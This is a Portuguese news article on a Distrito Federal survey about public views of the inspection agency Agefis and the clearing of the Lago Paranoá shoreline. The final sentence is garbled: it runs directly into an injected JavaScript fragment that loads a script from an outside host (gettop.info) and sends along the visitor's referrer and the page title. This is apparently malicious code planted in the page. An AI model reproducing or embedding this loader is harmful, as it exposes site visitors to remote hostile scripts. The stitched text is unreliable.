Ações da Agefis estão longe de serem unanimidade no DF, diz pesquisa

 

Agefis é o principal órgão responsável pela desobstrução da orla do Lago Paranoá. Foto: Dênio Simões/Agência Brasília

A Companhia de Planejamento do Distrito Federal divulgou uma pesquisa nesta segunda-feira (3) que mostra a divergência na opinião dos brasilienses sobre a atuação da Agência de Fiscalização. As ações de fiscalização são positivas para 51% da população, 34% são neutros e 15% consideram ruins ou péssimas.

A pesquisa foi feita entre os dias 6 e 17 de março de 2017. A amostra continha 25.000 números telefônicos dos quais foram completadas com sucesso 13.208 ligações, sendo que 4.377 (33%) aceitaram responder a pesquisa. A pesquisa foi feita via central de atendimento ao cidadão (telefone 156).

As estatísticas apontaram que 88% das pessoas atribuem à Agefis a desocupação de áreas ocupadas sem autorização e que 70% não atribuem à Agefis a criação de leis.  Para 29% da população de baixa renda, a grilagem de terras é responsável pelos hospitais superlotados. Os brasilienses de alta renda, em 30% dos casos, atribuem à grilagem de terras a falta de água.

Orla do Lago

Segundo a pesquisa, os brasilienses avaliam como “extremamente positiva” a desocupação da Orla do Lago Paranoá. Dos entrevistados, 80% consideram boa ou ótima, 12% são neutros e 8% consideram ruim ou péssimo. A ação foi necessária (86%), ocorreu dentro da lei (77%) e não houve excessos (76%). No entanto, 52% acreditam que não resolveu o problema.

“Esse apoio mostra que uma percepção de que o Lago Paranoá é dos locais mais preciosos do Distrito Federal e que precisa ser compartilhado por todos. O lago é a nossa praia, e a praia não pode ser privatizada. É um espaço de entretenimento e lazer gratuito”, disse o governador Rodrigo Rollemberg (PSB).

Os trabalhos de combate ao uso irregular do solo brasiliense foram considerados justos por 60% dos entrevistados. Eles apontaram que a Agefis atua igualmente em áreas de pessoas com maior e menor poder aquisitivo. Porém, 31% classificou que a desocupação de terras ocorre, principalmente, com pessoas de baixa renda, enquanto 3% afirmaram que acontece com pessoas ricas.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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